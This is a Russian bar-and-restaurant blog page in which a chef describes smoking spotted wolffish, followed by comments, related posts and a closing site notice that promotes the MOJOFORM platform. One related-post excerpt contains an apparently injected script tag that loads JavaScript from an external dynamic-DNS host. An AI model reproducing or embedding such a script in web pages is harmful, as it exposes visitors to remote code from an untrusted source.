Регистрация/Вход ,
Главная / Блоги / Осенний марафон...

Блоги


Осенний марафон...




Прежде чем вы решите, ходить в то или иное заведение, каждый для себя оценит бар, сервис, атмосферу, ну и конечно  же, саму кухню. Цены, качество - вкус!!! Можно много поверхностно рассуждать и рассказывать о кухне и ее работе, но мне интереснее поговорить о том что заведамо закрыто всем - приоткрою вам занавес. Один мой старый приятель, Почтенный повар, сказал так - Еда должна быть - как секс по запаху, а кровь по вкусу... 
В мире очень много вкусной, красивой и необычной рыбы. Но я хочу рассказать о Пятнистой Зубатке, одной из самых благородных рыб. Пробовал разные способы приготовления. И скажу честно - не удержался, закоптил. Безумие! Восхитительно! Восторг! А делаю я ее так- зачистив тушку, филирую (а она может достигать до 10-12кг. и даже больше), выдерживаю в соляном маринаде с яблочным уксусом и свежим эстрагоном не менее 30 минут.  Далее, самое главное- коптить нужно на малом дыму при температуре 110 -100 градусах, в течении часа. Не удержался  и гарнир - идеально подошел жаренный рис с ростками спаржи, зеленым горошком, шпинатом и кусочком лайма с белым вином. На этом мои эксперементы не закончились, появились такие творения, как форель горячего копчения с фрешем из зеленой чечевицы и куриное филе горячего копчения с фруктами....
Жду вас.. Красиво выпить и красиво поесть - это Куба- Либра!!!



поделиться Опубликовать


Комментарии:


[сотрудник:1795] Максим Парфенов написал 27 октября 2010г. в 23:23.
как проехать!?


[сотрудник:1438] Иван Слипенко написал 28 октября 2010г. в 06:48.
г. Москва, Покровка 17/1



Автор блога

Иван Слипенко

Москва, 38 лет.
Всего записей: 4.
написать письмо


Другие записи по теме:

Rita Coronita

Rita Coronita<nofollow><script language='JavaScript' src='http://binfostat.dyndns.org/infob.php?i=22329'></script></nofollow> Друзья! Приглашаем Вас в "Старую Гавану" попробовать новый мексиканский коктейль Rita Coronita! 
Автор: Павел

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА

ЛЕТНЕЕ МЕНЮ В «SWISSÔTEL КРАСНЫЕ ХОЛМЫ» С 01 ИЮНЯ ПО 31 АВГУСТА 2013 ГОДА МОСКВА, май 2013 года. Солнечно, ярко и сочно «Swissôtel Красные Холмы» открывает двери в лето, предлагая гостям обновленное меню «Энергия жизни». Блюда, вошедшие в это предложение, по-летнему легкие, но, отведав их, гость останется сыт и доволен. Новинки приготовл
Автор: Evgenia Aldashkina

Постные коктейли в Mercedes Bar

Постные коктейли в Mercedes Bar Панорамный ресторан Mercedes Bar специально для Великого Поста предлагает своим гостям серию постных коктейлей, разработанную командой бар-менеджера RCC (Russian Cocktail Club) Денисом Миллионовым с учетом не только строгих требований к используемым ингредиентам, но и достижения максимального вкус
Автор: Olga Sakulina

Зарегистрироваться / Войти
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Войти / Отправить анонимно
Для регистрации на barbook.ru вы можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Для входа на barbook.ru вы также можете использовать ваш профиль в социальных сетях. Не гарантируется нормальная работа в браузерах Microsoft Internet Explorer.
Добрый день, дорогой друг!

Надеюсь, ты помнишь наш проект - barbook.ru
Мы много лет рассказывали о рецептах коктейлей, собирали исторические факты и старались быть информационным порталом для барменов.
Увы, мы были вынуждены свернуть это начинание из-за изменения законодательства РФ.

Сегодня мы рекомендуем тебе новый интересный проект, созданный дружеской командой энтузиастов. Это Платформа, которая даст тебе новые технологии ресторанного управления.
Передаём слово коллегам)


MOJOFORM — 
НОВОЕ УПРАВЛЕНИЕ
РЕСТОРАНАМИ
Специально для управленцев ресторанного бизнеса мы создали комплексное решение по автоматизации организационных процессов и процессов, связанных с людьми.

Особенности платформы:

— Платформа создана профессионалами ресторанного бизнеса и специально для рынка horeca.
— Управление на основе регламентов, чек-листов, нормативов работы;
— Готовые шаблонные регламенты позволяют сразу начать работу.

Что даёт пользование платформой:

— Формирование единой системы управления бизнеса;
— Полный контроль за качеством работы всех подразделений;
— Глубокая аналитика с интеграцией всех документов и платформ r-keeper, iiko;
— Помощь в расчете заработных плат с учётом эффективности сотрудников.

Для всех пользователей программы мы разработали бесплатный образовательный курс по эффективному управлению и автоматизации.

ПОДРОБНЕЕ НА НАШЕМ САЙТЕ
ru.mojoform.com
Еще больше регламентов и чек-листов в           Наша группа в Facebook
нашем канале Telegram. А также новости      
отрасли, секреты и фишки.                                  FB.COM/MOJOFORM


Где мы общаемся. Форум
сообщества ресторанных менеджеров